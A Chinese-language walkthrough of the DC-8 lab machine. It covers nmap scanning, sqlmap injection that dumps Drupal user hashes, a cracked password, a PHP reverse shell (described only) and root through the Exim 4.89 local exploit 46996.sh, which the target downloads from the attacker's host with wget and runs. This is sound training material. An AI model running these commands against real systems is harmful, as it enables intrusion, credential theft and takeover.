DC-8靶机渗透详细流程

信息收集：

1.存活扫描：

arp-scan -I eth0 -l

└─# arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:dd:ee:6a, IPv4: 192.168.10.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1    00:50:56:c0:00:08       (Unknown)
192.168.10.2    00:50:56:e5:b1:08       (Unknown)
192.168.10.131 //靶机 00:0c:29:5b:e7:9f       (Unknown)
192.168.10.254  00:50:56:e0:e8:cc       (Unknown)

2.端口扫描：

nmap -sS -p- 192.168.10.131

nmap -sT -p- 192.168.10.131
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:5B:E7:9F (VMware)

3.服务扫描：

nmap -sVC -p 80,22 -O --Version-all 192.168.10.131

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to DC-8 | DC-8
|_http-server-header: Apache
|_http-generator: Drupal 7 (http://drupal.org)
MAC Address: 00:0C:29:5B:E7:9F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web部分：

发现作者挺喜欢 Drupal 的。

CMS:Drupal 7

漏洞发现：

这里发现 sql注入点：

SQL注入：

sqlmap一把梭：

爆库：

sqlmap -u http://192.168.10.131/?nid=2 --batc --dbs

[20:32:22] [INFO] fetching database names
[20:32:22] [INFO] retrieved: 'd7db'
[20:32:22] [INFO] retrieved: 'information_schema'
available databases [2]:                                                                                               
[*] d7db
[*] information_schema

爆表：

sqlmap -u http://192.168.10.131/?nid=2 --batc -D d7db --tables

Database: d7db                                                                                                                        
[88 tables]
+-----------------------------+
| block                       |
| cache                       |
| filter                      |
| history                     |
| role                        |
| system                      |
| actions                     |
| authmap                     |
| batch                       |
| block_custom                |
| block_node_type             |
| block_role                  |
| blocked_ips                 |
| cache_block                 |
| cache_bootstrap             |
| cache_field                 |
| cache_filter                |
| cache_form                  |
| cache_image                 |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
| cache_views                 |
| cache_views_data            |
| ckeditor_input_format       |
| ckeditor_settings           |
| ctools_css_cache            |
| ctools_object_cache         |
| date_format_locale          |
| date_format_type            |
| date_formats                |
| field_config                |
| field_config_instance       |
| field_data_body             |
| field_data_field_image      |
| field_data_field_tags       |
| field_revision_body         |
| field_revision_field_image  |
| field_revision_field_tags   |
| file_managed                |
| file_usage                  |
| filter_format               |
| flood                       |
| image_effects               |
| image_styles                |
| menu_custom                 |
| menu_links                  |
| menu_router                 |
| node                        |
| node_access                 |
| node_revision               |
| node_type                   |
| queue                       |
| rdf_mapping                 |
| registry                    |
| registry_file               |
| role_permission             |
| search_dataset              |
| search_index                |
| search_node_links           |
| search_total                |
| semaphore                   |
| sequences                   |
| sessions                    |
| shortcut_set                |
| shortcut_set_users          |
| site_messages_table         |
| taxonomy_index              |
| taxonomy_term_data          |
| taxonomy_term_hierarchy     |
| taxonomy_vocabulary         |
| url_alias                   |
| users                       |
| users_roles                 |
| variable                    |
| views_display               |
| views_view                  |
| watchdog                    |
| webform                     |
| webform_component           |
| webform_conditional         |
| webform_conditional_actions |
| webform_conditional_rules   |
| webform_emails              |
| webform_last_download       |
| webform_roles               |
| webform_submissions         |
| webform_submitted_data      |
+-----------------------------+

爆字段：

sqlmap -u http://192.168.10.131/?nid=2 --batc -D d7db -T users -C uid,name,pass --dump

Database: d7db                                                                                                                        
Table: users
[16 columns]
+------------------+------------------+
| Column           | Type             |
+------------------+------------------+
| data             | longblob         |
| language         | varchar(12)      |
| name             | varchar(60)      |
| status           | tinyint(4)       |
| access           | int(11)          |
| created          | int(11)          |
| init             | varchar(254)     |
| login            | int(11)          |
| mail             | varchar(254)     |
| pass             | varchar(128)     |
| picture          | int(11)          |
| signature        | varchar(255)     |
| signature_format | varchar(255)     |
| theme            | varchar(255)     |
| timezone         | varchar(32)      |
| uid              | int(10) unsigned |
+------------------+------------------+
----------------------------------------------------------------
Database: d7db                                                                                                                        
Table: users
[3 entries]
+-----+---------+---------------------------------------------------------+
| uid | name    | pass                                                    |
+-----+---------+---------------------------------------------------------+
| 0   | <blank> | <blank>                                                 |
| 1   | admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| 2   | john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-----+---------+---------------------------------------------------------+

John：

破解账密：

这里只破解出来了 john的密码。

john/turtle

后台登录：

dirb 目录扫描：

发现登录页面：

成功登录：

Getshell：

找到写php代码的地方，写入反弹shell，记得下面的框选php代码。

提权：

尝试SUID提权，和提权脚本

www-data@dc-8:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4   //这个
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount
www-data@dc-8:/var/www/html$ exim4 --version
exim4 --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07
-------------------------------------
└─# searchsploit exim 4
--------------------------------------------------------------- ---------------------------------Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------------
Dovecot with Exim - 'sender_address' Remote Command Execution  | linux/remote/25297.txt
Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit | linux/remote/36421.rb
Exim - 'perl_startup' Local Privilege Escalation (Metasploit)  | linux/local/39702.rb
Exim - 'sender_address' Remote Code Execution                  | linux/remote/25970.py
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation  | linux/local/40054.c
Exim 4.41 - 'dns_build_reverse' Local Buffer Overflow          | linux/local/756.c
Exim 4.41 - 'dns_build_reverse' Local Read Emails              | linux/local/1009.c
Exim 4.42 - Local Privilege Escalation                         | linux/local/796.sh
Exim 4.43 - 'auth_spa_server()' Remote                         | linux/remote/812.c
Exim 4.63 - Remote Command Execution                           | linux/remote/15725.pl
Exim 4.84-3 - Local Privilege Escalation                       | linux/local/39535.sh
Exim 4.87 - 4.91 - Local Privilege Escalation    //这个              | linux/local/46996.sh
Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)     | linux/local/47307.rb
Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)     | linux/local/47307.rb
Exim 4.87 < 4.91 - (Local / Remote) Command Execution          | linux/remote/46974.txt
Exim 4.89 - 'BDAT' Denial of Service                           | multiple/dos/43184.txt
exim 4.90 - Remote Code Execution                              | linux/remote/45671.py
Exim < 4.86.2 - Local Privilege Escalation                     | linux/local/39549.txt
Exim < 4.90.1 - 'base64d' Remote Code Execution                | linux/remote/44571.py
Exim ESMTP 4.80 - glibc gethostbyname Denial of Service        | linux/dos/35951.py
Exim Internet Mailer 3.35/3.36/4.10 - Format String            | linux/local/22066.c
Exim Sender 3.35 - Verification Remote Stack Buffer Overrun    | linux/remote/24093.c
Exim4 < 4.69 - string_format Function Heap Buffer Overflow (Me | linux/remote/16925.rb
MPlayer 0.9/1.0 - Remote HTTP Header Buffer Overflow           | linux/dos/23896.txt
OpenBSD 3.3 - 'Semget()' Integer Overflow (1)                  | openbsd/local/23046.c
OpenBSD 3.3 - 'Semget()' Integer Overflow (2)                  | openbsd/local/23047.c
PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution       | php/webapps/42221.py
--------------------------------------------------------------- ----------------------

看看脚本内容：使用方法

在当前目录开启http服务，靶机下载并执行：

kali：python3 -m http.server 7723
靶机：cd /tmpwget http://192.168.10.129:7723/46996.shchmod 777 *./46996.sh -m netcat

康康flag：